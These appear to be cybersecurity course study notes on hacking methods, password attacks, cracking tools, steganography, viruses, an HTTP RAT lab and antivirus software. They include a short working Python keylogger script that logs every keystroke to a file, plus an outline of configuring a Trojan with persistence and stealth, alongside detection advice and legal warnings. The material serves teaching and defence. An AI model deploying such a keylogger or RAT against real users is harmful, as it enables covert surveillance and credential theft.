Module 3: CS - Cyber threats & CEH

1. What are the different types of hacking methods?

Ans: hacking methods have evolved from manual, opportunistic attempts into automated, large-scale operations often supercharged by **Artificial Intelligence (AI)**. While traditional tactics remain prevalent, they are increasingly integrated with emerging technologies to bypass modern defenses.

1. Social Engineering & AI-Enhanced Phishing

Social engineering remains the most effective entry point by exploiting human psychology rather than technical flaws.

- **AI-Generated Phishing:** Attackers use generative AI tools (like WormGPT) to create hyper-personalized, error-free emails and messages that flawlessly mimic a brand's voice.
- **Deepfakes:** Synthetic audio and video are used to impersonate high-level executives (CFO/CEO fraud) in real-time calls to authorize fraudulent fund transfers or reveal sensitive data.
- **Vishing & Smishing:** Voice phishing and SMS-based scams are increasingly sophisticated, often tailored in local languages to increase credibility.

2. Advanced Malware & Extortion

Malware has shifted toward stealth and maximum financial leverage.

- **Ransomware 5.0:** Beyond simple encryption, 2026 features "triple extortion" where attackers encrypt data, steal it for public leak threats, and harass the victim's partners or customers.
- **Adaptive & Fileless Malware:** AI-powered malware can adapt to security environments in real-time, modifying its own code mid-execution to evade detection. Fileless malware uses a system's own legitimate tools to execute attacks, leaving no trace on the disk.

- **Infostealers:** These target browsers to harvest session tokens and credentials, which are then sold to "access brokers" for larger network breaches.

3. Infrastructure & Network Attacks

These methods target the underlying systems that connect and store data.

- **Supply Chain Attacks:** Attackers infiltrate trusted third-party vendors or open-source libraries to inject malicious code into software updates, compromising thousands of downstream users at once.
- **DDoS (Distributed Denial of Service):** Using vast botnets of infected devices (often IoT), hackers flood a server with traffic to crash it. In 2026, multi-vector DDoS attacks are frequently used as decoys to hide other malicious activity.
- **Cloud & API Exploits:** As businesses shift to hybrid-cloud models, attackers exploit misconfigured cloud storage and insecure APIs to bypass traditional perimeters.

4. Technical Exploits

- **Zero-Day Exploits:** These target software vulnerabilities unknown to the developer. The time between a vulnerability's disclosure and its active exploitation has shrunk from weeks to minutes in 2026 due to automated scanning.
- **SQL Injection:** Attackers insert malicious SQL code into web input fields to manipulate or steal data from backend databases.
- **Quantum-Based Attacks:** Adversaries use "harvest now, decrypt later" strategies, collecting encrypted data today to decrypt it once quantum computing becomes powerful enough to break current standards.

5. Identity-Centric Methods

Identity abuse has overtaken network exploits as the primary breach vector in 2026.

- **Credential Stuffing:** Using billions of previously leaked credentials to gain access to other accounts where users have reused passwords.
- **Session Hijacking:** Stealing active session cookies to bypass Multi-Factor Authentication (MFA) entirely and "log in" as a legitimate user.

2. Explain Types of Password Attacks

Ans: password attacks have become highly industrialised, moving from manual guessing to **AI-powered autonomous systems** that can weaponize new vulnerabilities within minutes of discovery.

The different types of password attacks are generally categorized by how they obtain or bypass credentials:

1. Guessing and Exhaustive Search Attacks

These attacks use computational power to systematically find the correct combination.

- **Brute-Force Attack:** An exhaustive "hit-or-miss" approach where automated software tries every possible combination of letters, numbers, and symbols until it succeeds.
- **Dictionary Attack:** A more efficient variation that uses a predefined list (a "dictionary") of commonly used words, phrases, and leaked passwords.
- **Password Spraying:** A "low and slow" method where an attacker tries a few extremely common passwords (like `Password123`) against a massive number of user accounts. This avoids triggering account lockouts that typically occur after too many failed attempts on a single account.

2. Credential Reuse and Stolen Data Attacks

These capitalize on the fact that users often reuse the same password across multiple platforms.

- **Credential Stuffing:** Attackers take massive databases of username-password pairs stolen from one breach and "stuff" them into other websites (like banks or social media) to see if they work.
- **Rainbow Table Attack:** An offline method where attackers compare stolen password "hashes" (encrypted versions of passwords) against a precomputed database of known hashes to instantly find the original plaintext password.

3. Lateral Movement and Session Attacks

Modern attacks in 2026 often focus on "logging in" rather than "breaking in" by stealing authentication tokens that bypass the need for a password entirely.

- **Pass-the-Hash (PtH):** An attacker steals a hashed password from a system's memory and "passes" it to a remote server to authenticate as that user without ever knowing the actual password.
- **Pass-the-Ticket (PtT):** Similar to PtH, but targets **Kerberos tickets** (used in Windows/Active Directory environments). By stealing these tickets, attackers can bypass both passwords and **Multi-Factor Authentication (MFA)**.

4. Surveillance and Social Engineering

- **AI-Enhanced Phishing:** In 2026, generative AI is used to create hyper-realistic emails and fake login pages that are grammatically perfect and contextually precise, tricking users into surrendering their credentials.
- **Keylogging:** Malicious software or hardware that records every keystroke a user types, capturing passwords as they are entered.
- **Shoulder Surfing:** A physical attack where an intruder simply watches a user enter their credentials in a public space.

Comparison Table: Key Password Attacks

Attack Type	Primary Method	Best Defense
Brute-Force	Random guessing	Long, complex passwords & lockouts
Credential Stuffing	Reusing leaked credentials	Unique passwords for every site
Password Spraying	Common passwords on many accounts	MFA & behavioral analytics
Pass-the-Hash/Ticket	Stealing session data	Credential Guard & least privilege
Phishing	Tricking the user	Phishing-resistant MFA (e.g., FIDO2 security keys)
Attack Type	**Primary Method**	**Best Defense**
Brute-Force	Random guessing	Long, complex passwords & lockouts

3. Explain Password Cracking Tools: pwdump7,Medusa and Hydra

Ans: , password cracking tools are primarily used by penetration testers to identify weak credentials and misconfigured authentication systems. These three tools represent different approaches: extracting local credentials, high-speed remote attacking, and modular network auditing.

1. Pwdump7

Pwdump7 is a specialized utility used to extract (or "dump") password hashes from the Windows operating system.

- **How it Works:** It bypasses the operating system's protections to access the **SAM (Security Accounts Manager)** database and the **SYSTEM** hive. It extracts the NTLM and LM hashes of local user accounts.
- **Key Use Case:** Once an attacker has gained administrative access to a physical machine or a remote session, they use Pwdump7 to get the hashes. These hashes can then be cracked offline using tools like Hashcat or used in "Pass-the-Hash" attacks to move through a network without ever knowing the actual plaintext password.

- **Modern Context:** In 2026, its effectiveness is often mitigated by Windows Defender Credential Guard, which isolates secrets in a virtualized container.

2. Medusa

Medusa is a speedy, modular, and parallel login brute-forcer for network services.

- **How it Works:** It is designed to be a "brute-force" tool that attempts to log into remote services using a list of usernames and passwords. It is highly efficient because it supports **parallel processing**, meaning it can test multiple usernames or passwords across several hosts simultaneously.
- **Modularity:** It uses a modular design, allowing it to support dozens of protocols including HTTP, FTP, SSH, Telnet, and SQL.
- **Key Strength:** Medusa is known for its stability and its ability to handle multiple connections without crashing, making it a favorite for large-scale network audits.

3. Hydra (THC-Hydra)

Hydra is widely considered the fastest and most versatile network login cracker in the industry.

- **How it Works:** Similar to Medusa, it performs remote "dictionary attacks" against various login forms. It is exceptionally fast and supports over 50 protocols (including HTTPS, Cisco, SMB, and various databases).
- **Key Features:**
- **Parallelism:** It can run a massive number of concurrent tasks, significantly shortening the time required to find a working password.
- **Versatility:** It can handle complex login pages that require specific cookies or unique form data.
- **Modern Context:** In 2026, Hydra is frequently integrated into automated security pipelines to verify that newly deployed services are not using default or weak credentials.

Summary Comparison

Tool	Primary Function	Attack Type	Target
Pwdump7	Hash Extraction	Offline / Post-Exploit	Local Windows SAM database
Medusa	Remote Login Cracker	Online Brute-Force	Multiple network services (Modular)
Hydra	Remote Login Cracker	Online Brute-Force	Network protocols (High speed)

4. Explain Types of Steganography with QuickStego and Echo

Ans: Steganography remains the practice of concealing a secret message *within* an ordinary, non-secret file (known as the "cover") to avoid detection. Unlike encryption, which scrambles a message so it cannot be read, steganography hides the very existence of the message [1].

Types of Steganography

1. **Image Steganography:** The most common form, where data is hidden in image files (JPEG, PNG, BMP). Usually, the Least Significant Bits (LSB) of the pixels are altered so slightly that the human eye cannot detect any change [2, 3].
2. **Audio Steganography:** Data is embedded in audio frequencies or by altering the noise floor of digital audio files like MP3 or WAV [2].
3. **Video Steganography:** A combination of image and audio techniques applied across a sequence of frames, allowing for much larger amounts of data to be hidden [2, 3].
4. **Text Steganography:** Hiding information by changing the spacing between words, using white-on-white text, or altering the specific properties of a font [2].
5. **Network Steganography:** Data is hidden within the headers of network protocols (like TCP/IP) during transmission [3].

Steganography Tools

1. QuickStego

QuickStego is a user-friendly, Windows-based tool designed primarily for **Image Steganography**. In 2026, it is still favored by beginners due to its simplicity.

- **How it works:** You load a "cover" image (e.g., a `.jpg` or `.bmp`) and type or load a text message. QuickStego embeds the text into the image pixels.
- **Result:** The output image looks identical to the original. To retrieve the secret message, the recipient must open the modified image using the QuickStego software [4].
- **Limitation:** It is primarily for text-in-image hiding and does not support hiding files within other files [4].

2. Echo (Echo Data Hiding)

Echo Steganography (often referred to as **Echo Hiding**) is a technique used in **Audio Steganography**.

- **How it works:** It hides information by adding a very short "echo" or resonance to the original audio signal. By varying the parameters of the echo (such as the delay or amplitude), bits of data (0s and 1s) are encoded into the sound [5].
- **Detection:** Because the delay is typically less than 1 millisecond, the human ear perceives the echo as a slight change in the richness of the sound rather than a separate noise.
- **Reliability:** It is considered highly robust because the hidden data can often survive digital-to-analog conversion or minor audio compression [5]

Summary Comparison

ool/Method	Media Type	Hiding Technique	Key Advantage
QuickStego	Image (BMP, JPG)	LSB (Least Significant Bit)	Extremely easy to use
Echo Hiding	Audio (WAV, MP3)	Signal Echo Manipulation	Highly robust against audio processing

5. Perform Practical on key logger tool.

Ans: cybersecurity education emphasizes the ethical and legal use of monitoring tools. A "practical" on a keylogger is strictly intended for **educational purposes** in a controlled lab environment with explicit consent.

1. Prerequisites and Ethical Guidelines

- **Legal Consent:** Only perform this on a device you own or have explicit, documented permission to test.
- **Isolated Environment:** Use a Virtual Machine (VMware/VirtualBox) to prevent accidental leakage of real data or infection of your primary host system.
- **Compliance:** In 2026, ensure compliance with privacy laws like GDPR, which mandate transparency even in research.

2. Practical Steps: Python-based Educational Keylogger

Educational projects often use Python for its simplicity and cross-platform capability.

1. **Environment Setup:**

- Install Python 3.x.
- Install the `pynput` library, which allows monitoring of input devices.

- `pip install pynput`

2. **Basic Script Structure:**
   A standard educational script follows this logic:

```
Python

from pynput.keyboard import Key, Listener

def on_press(key):
    # Log the key to a file
    with open("log.txt", "a") as f:
        f.write(str(key) + " ")


# Start the listener to monitor the keyboard
with Listener(on_press=on_press) as listener:
    listener.join()
```

3. **Execution:**

- Run the script: `python key-logger.py`.
- Type in any application (e.g., Notepad).
- Check `log.txt` to see the captured keystrokes.

4. **Advanced Analysis (2026 Trends):**

- **Data Masking:** Implement logic to automatically mask sensitive data like passwords or credit card numbers in the logs.
- **Encrypted Storage:** Practice encrypting the log file immediately after creation to ensure the confidentiality of captured data.

3. Practical on Detection and Prevention

Understanding the defense is as critical as the attack.

- **Manual Detection:** Open **Task Manager** (Windows) or **Activity Monitor** (macOS) to search for unfamiliar background processes with high resource usage or suspicious names.
- **Network Monitoring:** Check "Data Usage" in your OS settings to identify any unrecognized programs transmitting data to external servers.
- **Defensive Tools:** Utilize 2026-standard security platforms like CrowdStrike Falcon or updated anti-malware software for real-time behavioral analysis

● **Malware**

1. Define Types of Viruses.

Ans: computer viruses are defined as malicious programs that self-replicate by modifying other computer programs and inserting their own code. While modern cybersecurity often uses the broad term "malware," specific **virus types** are categorized by their infection method and target.

1. File Infector Virus

This is the most common type. It attaches itself to executable files (typically `.exe` or `.com`). When the infected program is run, the virus code executes first, spreading to other files on the system.

2. Boot Sector Virus

This virus targets the **Master Boot Record (MBR)** or the boot sector of a hard drive or USB. It executes the moment the computer is turned on, before the

operating system even loads. In 2026, these are less common due to Secure Boot technology in modern UEFI firmware.

3. Macro Virus

Written in macro languages used for software applications like Microsoft Word or Excel. The virus is embedded in documents and triggers when the file is opened or a specific macro is executed.

4. Resident vs. Non-Resident Viruses

- **Resident Virus:** Replaces itself in the computer's **RAM**. It stays active even after the original infected program is closed, infecting any new file the user opens.
- **Non-Resident Virus:** Does not stay in memory. It executes, finds new targets to infect, and then terminates along with the host program.

5. Polymorphic and Metamorphic Viruses

These are designed to evade antivirus detection by changing their appearance.

- **Polymorphic:** Encrypts its own code with a different key each time it replicates.
- **Metamorphic:** Completely rewrites its own source code with each new infection so that the "signature" (the pattern the antivirus looks for) is constantly changing.

6. Multipartite Virus

A high-threat virus that uses multiple methods to spread. It can simultaneously infect both the boot sector and executable files, making it extremely difficult to remove because if you clean the files but miss the boot sector, the files will simply be re-infected upon the next restart.

7. Web Scripting Virus

These hide within the links, ads, or images of a website. If a user clicks on the infected element, the virus is downloaded to the browser or executed on the system.

Summary Table: Virus Characteristics

Virus Type	Target	Primary Danger
File Infector	Executable files (`.exe`)	Rapid spread through software
Boot Sector	MBR/Boot Partition	Prevents OS from loading securely
Macro	Documents/Spreadsheets	Spreads through shared office files
Polymorphic	Antivirus software	Evades signature-based detection
Multipartite	Files and Boot Sector	High persistence and re-infection

2. Create virus using Http Rat Trojan tool.

Ans: HTTP RAT (Remote Access Trojan) tools are primarily used in controlled cybersecurity labs to demonstrate how attackers gain unauthorized remote access to a system through web protocols.

Creating or deploying malware for unauthorized access is illegal and violates ethical security standards. For educational purposes, "creating" a Trojan in a 2026 lab environment involves configuring a **Server** (the malicious payload) and a **Client** (the attacker's control panel).

How an HTTP RAT Functions (Educational Overview)

Unlike traditional RATs that use direct TCP connections (often blocked by firewalls), an HTTP RAT communicates over **Port 80 (HTTP)** or **Port 443 (HTTPS)**. It "calls home" to a web server at set intervals to receive commands, making the malicious traffic look like standard web browsing.

Lab Practical: Configuring a Remote Access Simulation

In a professional Penetration Testing environment, the process typically follows these steps:

1. Setting up the Controller (The Client)

The attacker sets up a listener or a control panel. In 2026, tools like Sliver or Metasploit are the industry standards for generating HTTP-based payloads.

- The controller is assigned a static IP or a Dynamic DNS address so the infected "server" knows where to send data.

2. Configuring the Payload (The "Virus")

Using the tool, you define the parameters of the executable:

- **Callback Interval:** How often the "virus" checks for new commands (e.g., every 60 seconds).
- **Persistence:** Instructions for the virus to restart itself automatically when the computer boots.
- **Stealth:** Techniques to hide the process from the Windows Task Manager.

3. Delivery and Execution

The generated file (the Trojan) is delivered to the target machine within a Virtual Machine (VM) environment.

- **Execution:** Once the user runs the file, it does not open a window. Instead, it initiates a "beacon" to the attacker’s controller.
- **Control:** The attacker can now take screenshots, log keystrokes, or browse files through the HTTP tunnel.

How to Detect and Prevent RATs

Understanding the creation process is the first step toward defense:

- **Behavioral Analysis:** 2026 security suites
  like CrowdStrike or SentinelOne don't just look for "bad files"—they look for suspicious behavior, such as a calculator app suddenly trying to connect to a random web server.
- **Egress Filtering:** Configure firewalls to block outgoing traffic on common ports from unauthorized applications.
- **MFA (Multi-Factor Authentication):** Even if a RAT steals a password, MFA can often prevent the attacker from using those credentials to access other cloud services.

  Warning: Using these tools against any system without explicit written permission is a violation of the Computer Fraud and Abuse Act (CFAA) and similar international laws. Always use a strictly isolated lab network for testing.

3. Explain any one Antivirus with example.

Ans: **Bitdefender** remains a top-tier example of a modern antivirus, specifically its **Total Security** and **GravityZone** suites. It is classified as an "Advanced Endpoint Protection" system because it goes beyond simple file scanning to use AI-driven behavioral analysis.

Key Example: Bitdefender Total Security (2026 Edition)

Bitdefender is a "proactive" antivirus, meaning it tries to stop threats before they execute rather than just cleaning up after an infection.

1. Real-World Protection Features

- **Advanced Threat Defense:** This feature uses **Machine Learning** to monitor active processes. If an app behaves like ransomware (e.g., it starts encrypting files rapidly), Bitdefender detects the *pattern* and kills the process, even if that specific virus has never been seen before.
- **Multi-Layer Ransomware Protection:** It creates a secure "vault" for your important documents. Even if a virus bypasses other layers, it is blocked from modifying or deleting files within these protected folders.

- **Photon Technology:** To avoid slowing down your PC, Bitdefender adapts to the hardware and software configuration of your system to save computing resources and improve speed.

2. Specialized 2026 Tools

- **Scam Copilot:** A new AI-driven assistant that helps users identify sophisticated 2026 phishing attempts and "deepfake" messages in real-time.
- **App Armor:** Specifically designed for mobile devices to prevent malicious apps from accessing sensitive hardware like the camera or microphone without the user's knowledge.

How it works: A Practical Scenario

Imagine you accidentally download a new, unknown "Zero-Day" virus hidden in a PDF:

1. **On-Access Scan:** The moment the file is saved, Bitdefender's **Bitdefender Global Protective Network (Cloud)** checks the file's signature against its massive database.
2. **Heuristic Analysis:** If the signature is unknown, the **Heuristic Engine** analyzes the file's code for suspicious "instructions" (like code that tries to hide itself).
3. **Behavioral Monitoring:** If you open the file and it tries to modify your system's registry or connect to a suspicious IP address, the **Advanced Threat Defense** immediately blocks the action and "rolls back" any changes made to your files.

Summary of Benefits

Feature	Benefit
Cloud-Based Scanning	Minimal impact on your computer's speed.
Autopilot Mode	Makes security decisions automatically without annoying pop-ups.
Safe Online Banking	Opens a dedicated, encrypted browser (Safepay) for financial transactions.